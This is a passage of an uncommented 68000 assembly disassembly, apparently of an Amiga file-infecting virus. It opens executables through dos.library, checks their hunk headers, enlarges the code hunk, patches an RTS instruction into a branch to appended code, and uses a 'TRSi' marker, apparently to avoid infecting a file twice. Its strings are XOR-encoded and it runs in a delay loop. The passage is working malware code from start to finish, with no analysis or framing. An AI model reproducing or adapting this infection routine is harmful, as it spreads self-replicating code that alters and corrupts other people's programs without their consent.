  591.     MOVEA.L    LAB_0067(PC),A5        ;594: 2A7A0300
  592.     MOVE.L    A5,D2            ;598: 240D
  593.     JSR    -114(A6)        ;59A: 4EAEFF8E
  594.     TST.L    D0            ;59E: 4A80
  595.     BEQ.S    LAB_0043        ;5A0: 67D4
  596.     CMPI.L    #$00000052,8(A5)    ;5A2: 0CAD000000520008
  597.     BNE.S    LAB_0043        ;5AA: 66CA
  598.     MOVE.L    12(A5),D0        ;5AC: 202D000C
  599.     SUB.L    16(A5),D0        ;5B0: 90AD0010
  600.     CMP.L    #$00000005,D0        ;5B4: B0BC00000005
  601.     BLE.S    LAB_0043        ;5BA: 6FBA
  602.     MOVE.L    D7,D1            ;5BC: 2207
  603.     MOVE.L    A5,D2            ;5BE: 240D
  604.     JSR    -102(A6)        ;5C0: 4EAEFF9A
  605.     TST.L    D0            ;5C4: 4A80
  606.     BEQ.S    LAB_0043        ;5C6: 67AE
  607.     TST    116(A5)            ;5C8: 4A6D0074
  608.     BNE.S    LAB_0043        ;5CC: 66A8
  609.     CMPI.L    #$0001E848,124(A5)    ;5CE: 0CAD0001E848007C
  610.     BHI.S    LAB_0043        ;5D6: 629E
  611.     BSR.S    LAB_0043        ;5D8: 619C
  612.     MOVE.L    124(A5),D0        ;5DA: 202D007C
  613.     MOVEA.L    (ABSEXECBASE).W,A6    ;5DE: 2C780004
  614.     BSR    LAB_003A        ;5E2: 6100FEBC
  615.     BEQ.S    LAB_0045        ;5E6: 6716
  616.     MOVE.L    D0,D7            ;5E8: 2E00
  617.     DC.W    $2C7A            ;5EA
  618.     DC.W    $0370            ;5EC
  619.     DC.W    $223A            ;5EE
  620.     BCLR    D1,D4            ;5F0: 0384
  621.     MOVE.L    #$000003ED,D2        ;5F2: 243C000003ED
  622.     JSR    -30(A6)            ;5F8: 4EAEFFE2
  623.     TST.L    D0            ;5FC: 4A80
  624. LAB_0045:
  625.     BEQ    LAB_004A        ;5FE: 6700008C
  626.     MOVE.L    D0,D6            ;602: 2C00
  627.     MOVE.L    D0,D1            ;604: 2200
  628.     MOVE.L    D7,D2            ;606: 2407
  629.     MOVEA.L    LAB_0067(PC),A5        ;608: 2A7A028C
  630.     MOVE.L    124(A5),D3        ;60C: 262D007C
  631.     JSR    -42(A6)            ;610: 4EAEFFD6
  632.     CMP.L    124(A5),D0        ;614: B0AD007C
  633.     BEQ.S    LAB_0048        ;618: 670A
  634.     BRA.S    LAB_0049        ;61A: 6042
  635. LAB_0046:
  636.     MOVE.L    D7,D2            ;61C: 2407
  637. LAB_0047:
  638.     MOVE.L    D6,D1            ;61E: 2206
  639.     JMP    -48(A6)            ;620: 4EEEFFD0
  640. LAB_0048:
  641.     MOVE.L    D6,D1            ;624: 2206
  642.     CLR.L    D2            ;626: 4282
  643.     MOVEQ    #-1,D3            ;628: 76FF
  644.     JSR    -66(A6)            ;62A: 4EAEFFBE
  645.     BSR.S    LAB_004B        ;62E: 6166
  646.     BNE.S    LAB_0049        ;630: 662C
  647.     DC.W    $263A            ;632
  648.     BCHG    D1,D4            ;634: 0344
  649.     BSR.S    LAB_0046        ;636: 61E4
  650.     BSR    LAB_0038        ;638: 6100FE44
  651.     LEA    LAB_0037(PC),A0        ;63C: 41FAFE32
  652.     MOVE.L    A0,D2            ;640: 2408
  653.     MOVE.L    #$000004EC,D3        ;642: 263C000004EC
  654.     BSR.S    LAB_0047        ;648: 61D4
  655.     MOVE.L    D7,D2            ;64A: 2407
  656.     MOVE.L    124(A5),D3        ;64C: 262D007C
  657.     DC.W    $96BA            ;650
  658.     BTST    D1,-(A6)        ;652: 0326
  659.     DC.W    $D4BA            ;654
  660.     BTST    D1,-(A2)        ;656: 0322
  661.     BSR.S    LAB_0047        ;658: 61C4
  662.     BSR    LAB_0038        ;65A: 6100FE22
  663. LAB_0049:
  664.     MOVE.L    D6,D1            ;65E: 2206
  665.     JSR    -36(A6)            ;660: 4EAEFFDC
  666.     DC.W    $2C7A            ;664
  667.     DC.W    $02F6            ;666
  668.     MOVEA.L    LAB_0067(PC),A5        ;668: 2A7A022C
  669.     MOVE    #$FAB4,116(A5)        ;66C: 3B7CFAB40074
  670.     MOVE.L    116(A5),D2        ;672: 242D0074
  671.     DC.W    $223A            ;676
  672.     DC.W    $02FC            ;678
  673.     JSR    -186(A6)        ;67A: 4EAEFF46
  674.     LEA    132(A5),A0        ;67E: 41ED0084
  675.     DC.W    $223A            ;682
  676.     DC.W    $02F0            ;684
  677.     MOVE.L    A0,D2            ;686: 2408
  678.     JMP    -396(A6)        ;688: 4EEEFE74
  679. LAB_004A:
  680.     MOVEA.L    (ABSEXECBASE).W,A6    ;68C: 2C780004
  681.     MOVEA.L    D7,A1            ;690: 2247
  682.     JMP    -690(A6)        ;692: 4EEEFD4E
  683. LAB_004B:
  684.     MOVEA.L    D7,A0            ;696: 2047
  685.     CMPI    #$03F3,2(A0)        ;698: 0C6803F30002
  686.     BEQ.S    LAB_004E        ;69E: 6704
  687. LAB_004C:
  688.     MOVEQ    #-1,D0            ;6A0: 70FF
  689. LAB_004D:
  690.     RTS                ;6A2: 4E75
  691. LAB_004E:
  692.     MOVE.L    8(A0),D0        ;6A4: 20280008
  693.     ADDQ.L    #5,D0            ;6A8: 5A80
  694.     LSL.L    #2,D0            ;6AA: E588
  695.     CMPI    #$03E9,2(A0,D0.L)    ;6AC: 0C7003E90802
  696.     BNE.S    LAB_004D        ;6B2: 66EE
  697.     MOVE.L    4(A0,D0.L),D1        ;6B4: 22300804
  698.     CMP.L    20(A0),D1        ;6B8: B2A80014
  699.     BNE.S    LAB_004C        ;6BC: 66E2
  700.     ADDI.L    #$0000013B,20(A0)    ;6BE: 06A80000013B0014
  701.     ADDI.L    #$0000013B,4(A0,D0.L)    ;6C6: 06B00000013B0804
  702.     LSL.L    #2,D1            ;6CE: E589
  703.     ADD.L    D1,D0            ;6D0: D081
  704.     ADDQ.L    #8,D0            ;6D2: 5080
  705.     DC.W    $43FA            ;6D4
  706.     ANDI.L    #$2280D1C0,-(A2)    ;6D6: 02A22280D1C0
  707.     CMPI.L    #$54525369,-1184(A0)    ;6DC: 0CA854525369FB60
  708.     BEQ.S    LAB_004C        ;6E4: 67BA
  709.     MOVEQ    #-1,D2            ;6E6: 74FF
  710.     MOVEQ    #62,D0            ;6E8: 703E
  711. LAB_004F:
  712.     CMPI    #$4E75,-(A0)        ;6EA: 0C604E75
  713.     BEQ.S    LAB_0051        ;6EE: 6708
  714. LAB_0050:
  715.     DBF    D0,LAB_004F        ;6F0: 51C8FFF8
  716.     TST.L    D2            ;6F4: 4A82
  717.     RTS                ;6F6: 4E75
  718. LAB_0051:
  719.     MOVEQ    #124,D1            ;6F8: 727C
  720.     LSL.L    #1,D0            ;6FA: E388
  721.     SUB.L    D0,D1            ;6FC: 9280
  722.     BNE.S    LAB_0052        ;6FE: 6606
  723.     MOVE    #$4E71,(A0)        ;700: 30BC4E71
  724.     BRA.S    LAB_0053        ;704: 6008
  725. LAB_0052:
  726.     MOVE.B    #$60,(A0)        ;706: 10BC0060
  727.     MOVE.B    D1,1(A0)        ;70A: 11410001
  728. LAB_0053:
  729.     MOVEQ    #0,D2            ;70E: 7400
  730.     LSR.L    #1,D0            ;710: E288
  731.     BRA.S    LAB_0050        ;712: 60DC
  732. LAB_0054:
  733.     ORI.B    #$10,D0            ;714: 00000010
  734.     ORI.B    #$00,D0            ;718: 00000000
  735. LAB_0055:
  736.     BSR.S    LAB_0056        ;71C: 611C
  737.     DC.W    $2C7A            ;71E
  738.     DC.W    $023C            ;720
  739.     LEA    LAB_006A(PC),A1        ;722: 43FA0194
  740.     MOVE.L    A1,D1            ;726: 2209
  741.     MOVEQ    #-2,D2            ;728: 74FE
  742.     JSR    -84(A6)            ;72A: 4EAEFFAC
  743.     MOVE.L    D0,D1            ;72E: 2200
  744.     BEQ.S    LAB_0057        ;730: 6710
  745.     JSR    -90(A6)            ;732: 4EAEFFA6
  746.     BRA    LAB_0059        ;736: 600000AE
  747. LAB_0056:
  748.     DC.W    $4BFA            ;73A
  749.     ANDI    #$4695,(A0)        ;73C: 02504695
  750.     RTS                ;740: 4E75
  751. LAB_0057:
  752.     MOVEA.L    (ABSEXECBASE).W,A6    ;742: 2C780004
  753.     LEA    LAB_0069(PC),A1        ;746: 43FA015E
  754.     CLR    234(A1)            ;74A: 426900EA
  755.     MOVEQ    #3,D0            ;74E: 7003
  756.     JSR    -552(A6)        ;750: 4EAEFDD8
  757.     TST.L    D0            ;754: 4A80
  758.     BEQ    LAB_0059        ;756: 6700008E
  759.     LEA    LAB_006C(PC),A0        ;75A: 41FA0162
  760.     MOVE.L    D0,190(A0)        ;75E: 214000BE
  761.     MOVEA.L    D0,A6            ;762: 2C40
  762.     JSR    -210(A6)        ;764: 4EAEFF2E
  763.     TST.L    D0            ;768: 4A80
  764.     BEQ.S    LAB_0058        ;76A: 676E
  765.     DC.W    $41FA            ;76C
  766.     DC.W    $0212            ;76E
  767.     MOVE.L    D0,(A0)            ;770: 2080
  768.     MOVEA.L    D0,A5            ;772: 2A40
  769.     MOVE.L    8(A5),D0        ;774: 202D0008
  770.     MOVEQ    #1,D1            ;778: 7201
  771.     MOVEQ    #0,D2            ;77A: 7400
  772.     MOVEA.L    16(A5),A1        ;77C: 226D0010
  773.     MOVEA.L    (A1),A1            ;780: 2251
  774.     MOVE.L    (A1),-28(A0)        ;782: 2151FFE4
  775.     JSR    -30(A6)            ;786: 4EAEFFE2
  776.     DC.W    $41FA            ;78A
  777.     BSET    D0,(A4)            ;78C: 01D4
  778.     MOVE.L    D0,36(A0)        ;78E: 21400024
  779.     ADDQ.L    #1,D0            ;792: 5280
  780.     BEQ.S    LAB_0058        ;794: 6744
  781.     SUBQ.L    #1,D0            ;796: 5380
  782.     MOVEQ    #16,D1            ;798: 7210
  783.     JSR    -54(A6)            ;79A: 4EAEFFCA
  784.     TST.L    D0            ;79E: 4A80
  785.     BNE.S    LAB_0058        ;7A0: 6638
  786.     BSR    LAB_005F        ;7A2: 61000082
  787.     MOVE.L    D0,-(A7)        ;7A6: 2F00
  788.     DC.W    $203A            ;7A8
  789.     BSET    D0,(A2)+        ;7AA: 01DA
  790.     MOVEQ    #2,D1            ;7AC: 7202
  791.     JSR    -84(A6)            ;7AE: 4EAEFFAC
  792.     DC.W    $203A            ;7B2
  793.     BSET    D0,(A0)            ;7B4: 01D0
  794.     JSR    -120(A6)        ;7B6: 4EAEFF88
  795.     MOVE.L    (A7)+,D0        ;7BA: 201F
  796.     BNE.S    LAB_0058        ;7BC: 661C
  797.     DC.W    $2C7A            ;7BE
  798.     BCLR    D0,(A4)+        ;7C0: 019C
  799.     LEA    LAB_006A(PC),A1        ;7C2: 43FA00F4
  800.     MOVE.L    A1,D1            ;7C6: 2209
  801.     MOVE.L    #$000003EE,D2        ;7C8: 243C000003EE
  802.     JSR    -30(A6)            ;7CE: 4EAEFFE2
  803.     MOVE.L    D0,D1            ;7D2: 2200
  804.     BEQ.S    LAB_0058        ;7D4: 6704
  805.     JSR    -36(A6)            ;7D6: 4EAEFFDC
  806. LAB_0058:
  807.     MOVEA.L    (ABSEXECBASE).W,A6    ;7DA: 2C780004
  808.     DC.W    $227A            ;7DE
  809.     BCLR    D0,(A4)+        ;7E0: 019C
  810.     JSR    -414(A6)        ;7E2: 4EAEFE62
  811. LAB_0059:
  812.     BSR    LAB_0056        ;7E6: 6100FF52
  813.     DC.W    $2C7A            ;7EA
  814.     DC.W    $0170            ;7EC
  815.     MOVE.L    #$00007530,D1        ;7EE: 223C00007530
  816.     JSR    -198(A6)        ;7F4: 4EAEFF3A
  817.     BRA    LAB_0055        ;7F8: 6000FF22
  818. LAB_005A:
  819.     MOVE.L    #$000001FF,D1        ;7FC: 223C000001FF
  820. LAB_005B:
  821.     DC.W    $203A            ;802
  822.     BCLR    D0,D0            ;804: 0180
  823.     MOVEQ    #0,D2            ;806: 7400
  824.     RTS                ;808: 4E75
  825. LAB_005C:
  826.     MOVEA.L    LAB_0067(PC),A0        ;80A: 207A008A
  827.     BSR.S    LAB_005A        ;80E: 61EC
  828.     JSR    -78(A6)            ;810: 4EAEFFB2
  829. LAB_005D:
  830.     ADDQ.L    #1,D0            ;814: 5280
  831.     RTS                ;816: 4E75
  832. LAB_005E:
  833.     BSR.S    LAB_005B        ;818: 61E8
  834.     ANDI.L    #$000000FF,D1        ;81A: 0281000000FF
  835.     JSR    -66(A6)            ;820: 4EAEFFBE
  836.     BRA.S    LAB_005D        ;824: 60EE
  837. LAB_005F:
  838.     MOVEQ    #0,D1            ;826: 7200
  839.     MOVEA.L    LAB_0067(PC),A0        ;828: 207A006C
  840.     BSR.S    LAB_005E        ;82C: 61EA
  841.     BEQ.S    LAB_0064        ;82E: 6752
  842.     BSR.S    LAB_005C        ;830: 61D8
  843.     BEQ.S    LAB_0064        ;832: 674E
  844.     MOVE.L    #$32323000,D0        ;834: 203C32323000
  845.     BSR.S    LAB_0066        ;83A: 614E
  846.     BNE.S    LAB_0064        ;83C: 6644
  847.     LEA    LAB_006E+1(PC),A0    ;83E: 41FA0097
  848. LAB_0060:
  849.     LEA    LAB_006D(PC),A1        ;842: 43FA008C
  850.     CLR.L    D1            ;846: 4281
  851.     MOVE    192(A1),D1        ;848: 322900C0
  852.     MOVE.B    0(A1,D1.W),D1        ;84C: 12311000
  853.     MOVEA.L    A0,A2            ;850: 2448
  854.     ADDA.L    D1,A2            ;852: D5C1
  855.     MOVE.L    A2,-(A7)        ;854: 2F0A
  856.     ADDQ    #1,192(A1)        ;856: 526900C0
  857.     BSR.S    LAB_005E        ;85A: 61BC
  858.     BEQ.S    LAB_0063        ;85C: 6722
  859.     DC.W    $323A            ;85E
  860.     DC.W    $0130            ;860
  861.     CMP    #$0006,D1        ;862: B27C0006
  862.     BGE.S    LAB_0061        ;866: 6C06
  863.     CMP    #$0005,D1        ;868: B27C0005
  864.     BGE.S    LAB_0062        ;86C: 6C04
  865. LAB_0061:
  866.     BSR.S    LAB_005C        ;86E: 619A
  867.     BEQ.S    LAB_0063        ;870: 670E
  868. LAB_0062:
  869.     MOVEA.L    (A7)+,A0        ;872: 205F
  870.     DC.W    $343A            ;874
  871.     BTST    D0,(A2)+        ;876: 011A
  872.     CMP    #$0007,D2        ;878: B47C0007
  873.     BNE.S    LAB_0060        ;87C: 66C4
  874.     BRA.S    LAB_0065        ;87E: 6006
  875. LAB_0063:
  876.     ADDQ.L    #4,A7            ;880: 588F
  877. LAB_0064:
  878.     MOVEQ    #-1,D0            ;882: 70FF
  879.     RTS                ;884: 4E75
  880. LAB_0065:
  881.     MOVEQ    #0,D0            ;886: 7000
  882.     RTS                ;888: 4E75
  883. LAB_0066:
  884.     MOVEA.L    LAB_0067(PC),A0        ;88A: 207A000A
  885.     CLR.B    3(A0)            ;88E: 42280003
  886.     CMP.L    (A0),D0            ;892: B090
  887.     RTS                ;894: 4E75
  888. LAB_0067:
  889.     ORI    #$64DC,(A3)+        ;896: 005B64DC
  890. LAB_0068:
  891.     DC.W    $646F            ;89A
  892.     DC.W    $732E            ;89C
  893.     DC.W    $6C69            ;89E
  894.     BHI.S    LAB_006F        ;8A0: 6272
  895.     BSR.S    LAB_0070        ;8A2: 6172
  896.     DC.W    $7900            ;8A4
  897. LAB_0069:
  898.     ADDA    A5,A4            ;8A6: D8CD
  899.     ADDA    A5,A7            ;8A8: DECD
  900.     ADDA.L    (A5)+,A2        ;8AA: D5DD
  901.     ADDA.L    (A3)+,A0        ;8AC: D1DB
  902.     AND.L    (A0),D7            ;8AE: CE90
  903.     ADDA    (A7),A3            ;8B0: D6D7
  904.     ADDA    A4,A4            ;8B2: D8CC
  905.     ADDA.L    A4,A5            ;8B4: DBCC
  906.     DC.W    $C3BE            ;8B6
  907. LAB_006A:
  908.     ASL.L    #4,D4            ;8B8: E984
  909. LAB_006B:
  910.     ASR    -66(A7,A7.L)        ;8BA: E0F7F8BE
  911. LAB_006C:
  912.     ADDA    (A7),A3            ;8BE: D6D7
  913.     ADDA    A2,A2            ;8C0: D4CA
  914.     ADDA.L    A3,A7            ;8C2: DFCB
  915.     MULU    (A1),D7            ;8C4: CED1
  916.     SUBA    A2,A2            ;8C6: 94CA
  917.     ADDA.L    A3,A7            ;8C8: DFCB
  918.     MULU    (A1),D7            ;8CA: CED1
  919.     SUBA    (A2)+,A2        ;8CC: 94DA
  920.     DC.W    $DFBE            ;8CE
  921. LAB_006D:
  922.     CMP.L    -25672(A6),D2        ;8D0: B4AE9BB8
  923.     DC.W    $8FBB            ;8D4
  924. LAB_006E:
  925.     DC.W    $BCF6            ;8D6
  926.     DC.W    $FFF2            ;8D8
  927.     DC.W    $F59E            ;8DA
  928.     DC.W    $CECC            ;8DC
  929.     MULS    (A7),D4            ;8DE: C9D7
  930.     SUBA    (A2)+,A2        ;8E0: 94DA
  931.     DC.W    $DFB3            ;8E2
  932.     DC.W    $B0F3            ;8E4
  933.     DC.W    $FBF7            ;8E6
  934.     DC.W    $F69E            ;8E8
  935.     DC.W    $FCEC            ;8EA
  936.     DC.W    $F5F3            ;8EC
  937.     OR.L    D2,D0            ;8EE: 8082
  938.     ADDA.L    (A3)+,A3        ;8F0: D7DB
  939.     OR.L    -20(A3,A3.W),D2        ;8F2: 84B3B0EC
  940.     DC.W    $F9EE            ;8F6
  941.     ROR.L    #7,D6            ;8F8: EE9E
  942.     DC.W    $EEF1            ;8FA
  943.     OR.L    D2,D0            ;8FC: 8082
  944.     MULU    (A7),D6            ;8FE: CCD7
  945.     DC.W    $C8CB            ;900
  946.     DC.W    $C9C9            ;902
  947.     ADDA.L    A4,A2            ;904: D5CC
  948.     ADDA.L    A5,A0            ;906: D1CD
  949.     ADDA    (A1),A1            ;908: D2D1
  950.     DC.W    $CAFE            ;90A
  951.     DC.W    $CECC            ;90C
  952.     MULS    (A7),D4            ;90E: C9D7
  953.     SUBA    (A2)+,A2        ;910: 94DA
  954.     ADDX.L    D0,D7            ;912: DF80
  955. LAB_006F:
  956.     DC.W    $B7B4            ;914
  957. LAB_0070:
  958.     DC.W    $FEFF            ;916
  959.     DC.W    $EEFF            ;918
  960.     DC.W    $B7B4            ;91A
  961.     DC.W    $FBD0            ;91C
  962.     ADDA.L    A2,A2            ;91E: D5CA
  963.     ADDA    (A3)+,A1        ;920: D2DB
  964.     AND.L    (A6)+,D4        ;922: C89E
  965.     OR.L    D5,(A6)+        ;924: 8B9E
  966.     ADDA    (A7),A4            ;926: D8D7
  967.     MULU    (A3)+,D7        ;928: CEDB
  968.     AND.L    D4,(A6)+        ;92A: C99E
  969.     MULU    (A6),D7            ;92C: CED6
  970.     ADD.L    D7,(A6)+        ;92E: DF9E
  971.     ADDA    A3,A7            ;930: DECB
  972.     DC.W    $C9CA            ;932
  973.     SUB.L    D5,(A7)+        ;934: 9B9F
  974.     SUBA    EXT_0001,A5        ;936: 9AF9C8DBDFCA
  975.     AND.L    (A6)+,D0        ;93C: C09E
  976.     MULU    (A1),D7            ;93E: CED1
  977.     SUBA    #$FFF1,A5        ;940: 9AFCFFF1
  978.     DC.W    $F69E            ;944
  979.     ADDA.L    (A0),A5            ;946: DBD0
  980.     ADD.L    (A6)+,D7        ;948: DE9E
  981.     DC.W    $F8F1            ;94A
  982.     DC.W    $F1F1            ;94C
  983.     ROXR.L    D4,D3            ;94E: E8B3
  984.     CMP.L    -112(A3,A3.W),D0    ;950: B0B3B090
  985.     DC.W    $B7B4            ;954
  986.     DC.W    $EBEB            ;956
  987.     DC.W    $F3EA            ;958
  988.     DC.W    $B7B4            ;95A
  989.     END
  990.